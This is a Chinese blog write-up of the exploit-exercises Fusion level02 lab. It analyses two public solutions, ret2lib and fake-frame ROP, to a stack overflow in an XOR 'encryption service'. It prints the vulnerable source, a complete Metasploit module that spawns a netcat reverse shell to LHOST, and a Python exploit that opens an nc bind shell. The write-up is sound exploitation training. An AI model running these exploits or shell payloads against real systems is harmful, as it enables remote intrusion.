0x00 内容简介 通过一道exploit-exercises 中的题目的解答来体会frame faking在实际的利用中的使用技巧。通过实践了网上的两个writeup并进行分析,加深理解做了简单的总结。
0x01 获得EIP控制 题目的地址在这里 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 #include "../common/common.c" #define XORSZ 32 void cipher (unsigned char *blah, size_t len) { static int keyed; static unsigned int keybuf[XORSZ]; int blocks; unsigned int *blahi, j; if (keyed == 0 ) { int fd; fd = open("/dev/urandom" , O_RDONLY); if (read(fd, &keybuf, sizeof (keybuf)) != sizeof (keybuf)) exit (EXIT_FAILURE); close(fd); keyed = 1 ; } blahi = (unsigned int *)(blah); blocks = (len / 4 ); if (len & 3 ) blocks += 1 ; for (j = 0 ; j < blocks; j++) { blahi[j] ^= keybuf[j % XORSZ]; } } void encrypt_file () { unsigned char buffer[32 * 4096 ]; unsigned char op; size_t sz; int loop; printf ("[-- Enterprise configuration file encryption service --]\n" ); loop = 1 ; while (loop) { nread(0 , &op, sizeof (op)); switch (op) { case 'E' : nread(0 , &sz, sizeof (sz)); nread(0 , buffer, sz); cipher(buffer, sz); printf ("[-- encryption complete. please mention " "474bd3ad-c65b-47ab-b041-602047ab8792 to support " "staff to retrieve your file --]\n" ); nwrite(1 , &sz, sizeof (sz)); nwrite(1 , buffer, sz); break ; case 'Q' : loop = 0 ; break ; default : exit (EXIT_FAILURE); } } } int main (int argc, char **argv, char **envp) { int fd; char *p; background_process(NAME, UID, GID); fd = serve_forever(PORT); set_io(fd); encrypt_file(); }
获得EIP控制 的方法可以参考一下两位前辈的分享,已经说得比较清楚了。
解答1.Exploit Exercises - Fusion level02 write up(英文)
解答2.Exploit-Exercises Fusion Level02(中文)
大致的说一下流程。
1.获取KEY
发送自定义数据给服务器,服务器返回异或后的数据,计算得到异或使用的KEY。
2.EIP控制
将PAYLOAD使用异或加密后发送给服务器,服务器会通过异或解密,这样可以往内存中写入可控的数据。
tips:缓冲区大小为32*4096=0x20000,所以获得eip的偏移其实很简单。
1 payload="A" *0x20020 +["0xdeadbeef" ].pack('V' )
在调试的时候适当的减少0x20020 的值,然后再次运行poc,就能很简单的找到offset=0x20010
。
0x02 利用思路 在获得EIP的控制权之后,解答1与解答2都是用了伪造函数调用的方法来实现对漏洞的利用。之前我的文章中介绍过两种伪造函数帧来实现流程控制的方法。frame-faking-介绍-函数调用伪造 中有详细的分析。
2.1 ret2lib解决方案 解答1使用了经典的ret2lib的方法,并且在第一次调用nread
之后,巧妙的利用ROP完成了清空栈上参数 ,为第二次调用execve
做好准备。
2.2 fake-frame解决方案 解答2使用了fake-frame的方式,在调用nread
之前,将ebp指向了.bss段,这样在nread调用完成之后,EIP就指向EBP+4处。
0x03 ret2lib详细分析 3.1exploit源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 require 'msf/core' class Metasploit3 < Msf::Exploit ::Remote include Msf::Exploit::Remote::Tcp def initialize () [...] end def encrypt (len, data) buffer = "E" + [len].pack('L' ) + data sock.put(buffer) msg = buffered_recv(124 ) enc_data = buffered_recv(len) return enc_data end def buffered_recv (size) data = "" new_data = "" size_to_receive = size while (data.length < size) do new_data = sock.recv(size_to_receive) size_to_receive -= new_data.length data += new_data end data end def xor_encrypt (data, key) while key.length < data.length do key += key end key = key[0 ..data.length-1 ] data.unpack('C*' ).zip(key.unpack('C*' )).map { |p, e| p ^ e}.pack('C*' ) end def exploit connect buffered_recv(57 ) data = "A" *128 encrypted_data = encrypt(data.length, data) key = xor_encrypt(data, encrypted_data) prejunk = "A" * 0x20010 cmd = "/bin/nc.traditional" null = "\000" args = [cmd, "-e" , "/bin/sh" , datastore['LHOST' ], datastore['LPORT' ].to_s] bss = 0x0804b420 data = "" offset = 24 + cmd.length + 1 args.each do |arg| data += [bss+offset].pack('V' ) offset += arg.length + 1 end data += [0x00000000 ].pack('V' ) data += cmd + null args.each { |arg| data += arg + null } ropbuf = [0x0804952d ].pack('V' ) ropbuf += [0x08048f85 ].pack('I' ) ropbuf += [0x00000000 ].pack('I' ) ropbuf += [0x0804b420 ].pack('V' ) ropbuf += [data.length].pack('I' ) ropbuf += [0x08048818 ].pack('V' ) ropbuf += [0x0804b3d8 ].pack('V' ) ropbuf += [0x08049fe3 ].pack('V' ) ropbuf += [0x0804b438 ].pack('V' ) ropbuf += [0x0804b420 ].pack('I' ) ropbuf += [0x00000000 ].pack('I' ) buf = prejunk + ropbuf e = xor_encrypt(buf, key) encrypt(e.length, e) sock.put('Q' ) sock.put(data) handler disconnect end end
3.2 ROP chain for nread 1 2 3 4 5 6 7 8 9 prejunk = "A" * 0x20010 ropbuf = [0x0804952d ].pack('V' ) ropbuf += [0x08048f85 ].pack('I' ) ropbuf += [0x00000000 ].pack('I' ) ropbuf += [0x0804b420 ].pack('V' ) ropbuf += [data.length].pack('I' )
3.2.1 发送payload 当payload被提交到给服务器之后,栈上内存空间如下图所示:
了解栈上的内存分布之后,就对控制EIP之后的每一步执行做详细的分析。
3.2.2 改写EIP为nread地址
因为执行了ret
指令相当于pop esi
,所以EIP地址覆盖为nread函数的起始地址的同时,ESP
寄存器指向了后面的ROP
组件。pop;pop;pop;ret
这个ROP组件也是这一次利用的精髓所做 ,后面会做详细分析。
3.2.3 执行nread函数 与栈上平衡相关的代码只有开始开始和结束部分的代码。所以着重分析这几句代码。原理很简单,看图就好。
3.2.4 清空栈上参数
这里是整个利用最核心的地方,通过ROP调用pop;pop;pop;ret;
来清空栈上的参数 ,为下一次函数调用做准备。
这是在调用ret
指令从nread
函数返回之前的栈上内存分布情况,且ret
指令执行之后,EIP寄存将被赋值为当前ESP寄存器指向的地址处的代码。也就是回去执行pop;pop;pop;ret;
。
先假设这里不去做pop;pop;pop;ret;
,而是将地址赋值为execve
函数的地址,思考一下会发什么什么情况。
显然execve函数的代码会被执行,但是filedes会被认为是execve
函数的返回地址 ,.bss是第一参数 ,length是第二参数 ,以此类推。显然是无法进行第二次函数调用的。因为参数无法控制。
但是通过ROP调用pop;pop;pop;ret;
之后栈上的参数会被清空,为第二次函数调用execve提供了可能。
执行过程如下图所示。
在三次pop调用之后,栈上空间分布如上图所示。这时候ret
指令执行之后,将会执行上图ESP寄存器指向的地址处的代码。而第二次调用的参数应该存放在上图的dont care
处的数据。而该处的值是可控的,所以只需要构建第二次调用的ROPchain即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ropbuf = [0x0804952d ].pack('V' ) ropbuf += [0x08048f85 ].pack('I' ) ropbuf += [0x00000000 ].pack('I' ) ropbuf += [0x0804b420 ].pack('V' ) ropbuf += [data.length].pack('I' ) ropbuf += [0x08048818 ].pack('V' ) ropbuf += [0x0804b3d8 ].pack('V' ) ropbuf += [0x08049fe3 ].pack('V' ) ropbuf += [0x0804b438 ].pack('V' ) ropbuf += [0x0804b420 ].pack('I' ) ropbuf += [0x00000000 ].pack('I' )
当payload如上面的代码时,从pop;pop;pop;ret;
之后将会执行0x08048818
处的ROP片段。这里显然很容易理解,通过pop
赋值ebx
为execve
的地址,再call ebx
执行函数调用。
3.3 总结 再利用ret2lib来完成伪造函数调用时,如果需要构造一连串的函数调用,可以通过如下图所示的方式来构建ROP链。
如果无法找到相应的ROP组件来完成栈平衡的话,就无法第二次调用 需要参数的函数。
但是ret2lib,在不做栈平衡的时候,连续调用没有参数的函数 还是可行的。
0x04 fake frame详解 4.1 exploit代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 import sysimport timeimport structimport socketdef recv_exactly (s, n) : data = "" while len(data) < n: data += s.recv(n - len(data)) return data def get_key (s) : data = 'A' *128 recv_exactly(s, 57 ) s.send('E' ) s.send(struct.pack("<I" , len(data))) s.send(data) recv_exactly(s, 120 ) size_packed = recv_exactly(s, 4 ) size_unpacked = struct.unpack("<I" , size_packed)[0 ] enc = recv_exactly(s, size_unpacked) key = [] for i in xrange(0 , len(data)): key.append(ord('A' )^ord(enc[i])) return key def get_socket (ip, port) : s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP) s.connect((ip, port)) return s def encrypt_payload (payload, key) : data = [] keylen = len(key) for i in xrange(0 , len(payload)): data.append(chr(ord(payload[i])^key[i%keylen])) return "" .join(data) def pwn (s, key) : base = 0x0804b420 junk = 'A' *0x20010 bss = struct.pack("<I" , base) nread = struct.pack("<I" , 0x0804952d ) fd = struct.pack("<I" , 0 ) size = struct.pack("<I" , 100 ) popebp = struct.pack("<I" , 0x08048b13 ) ebp = bss leaveret = struct.pack("<I" , 0x08048b41 ) stage0 = popebp + ebp + nread + leaveret + fd + bss + size payload1 = junk + stage0 print "Sending stage0 data..." payload1_enc = encrypt_payload(payload1, key) s.send("E" ) s.send(struct.pack("<I" , len(payload1_enc))) s.send(payload1_enc) time.sleep(0.5 ) s.recv(0xFFFFFF ) s.send("Q" ) time.sleep(0.5 ) null = struct.pack("<I" , 0x00 ) filler = "DDDD" execve = struct.pack("<I" , 0x080489b0 ) exit = struct.pack("<I" , 0x08048960 ) args = struct.pack("<I" , base + 24 ) envp = null data_offset = 40 binnc = struct.pack("<I" , base + data_offset) ncarg1 = struct.pack("<I" , base + data_offset + 20 ) ncarg2 = struct.pack("<I" , base + data_offset + 29 ) print "Sending stage1 data..." stage1 = filler + execve + exit + binnc + args + envp stage1 += binnc + ncarg1 + ncarg2 + null stage1 += "/bin/nc.traditional\0" + "-ltp6667\0" + "-e/bin/sh\0" junk = "E" *(100 - len(stage1)) s.send(stage1+junk) s.close() if __name__ == "__main__" : if len(sys.argv) == 3 : s = get_socket(sys.argv[1 ], int(sys.argv[2 ])) key = get_key(s) pwn(s, key) print "pwn done..."
同样的分了两步来进行利用。首先看第一块payload。
4.2 构建frame fake的内存分布 1 2 3 4 5 6 7 8 9 10 11 base = 0x0804b420 junk = 'A' *0x20010 bss = struct.pack("<I" , base) nread = struct.pack("<I" , 0x0804952d ) fd = struct.pack("<I" , 0 ) size = struct.pack("<I" , 100 ) popebp = struct.pack("<I" , 0x08048b13 ) ebp = bss leaveret = struct.pack("<I" , 0x08048b41 ) stage0 = popebp + ebp + nread + leaveret + fd + bss + size payload1 = junk + stage0
可以看到他的payload在发送给服务器之后,栈上的内存分布应该是这样的。
具体执行流程就不再画了,在我之前的文章 有对frame的 faking详细图解。
这个解答就比ret2lib优雅很多,简单叙述一下原理,详见这里 。
通过ROP组件将EBP寄存器赋值为一个伪造的栈低。EBP+4
处的地址指向了这一次函数调用完成后,下一次会调用的函数 。这里是bss地址,所以下一个要调用的函数地址要存放于&bss+4
处。
通过ROP组件实现连续两次leave-ret 来完成EIP控制。调用存放于&bss+4
处的函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 filler = "DDDD" execve = struct.pack("<I" , 0x080489b0 ) exit = struct.pack("<I" , 0x08048960 ) args = struct.pack("<I" , base + 24 ) envp = null data_offset = 40 binnc = struct.pack("<I" , base + data_offset) ncarg1 = struct.pack("<I" , base + data_offset + 20 ) ncarg2 = struct.pack("<I" , base + data_offset + 29 ) stage1 = filler + execve + exit + binnc + args + envp stage1 += binnc + ncarg1 + ncarg2 + null stage1 += "/bin/nc.traditional\0" + "-ltp6667\0" + "-e/bin/sh\0"
可以看到这里的filler
,就是填充了四个字节,使得第二次调用,可以成功调用到execve
函数。
0x05 总结 通过两种答案的分析与对比,从逻辑层面以及exploit代码简洁清楚的层面上,frame-faking比ret2lib要好上很多。
通过对两种方法的追踪与重现,也可以很好地加强对栈上布局的理解。
0x06 其他 我的技术博客地址: http://BLOGIMAGE/。
我的推特账号:https://twitter.com/samulehuang
一般每天都会在liveingcode直播学习的过程 ,大家方便的话可以来帮我攒点人气:)。
欢迎大家前来指教。
0x07 感谢&索引 感谢分享:)
1.Exploit Exercises - Fusion level02 write up
https://philwantsfish.github.io/fusion-level02-walkthrough/
2.Exploit-Exercises Fusion Level02
http://www.programlife.net/fusion-level-02.html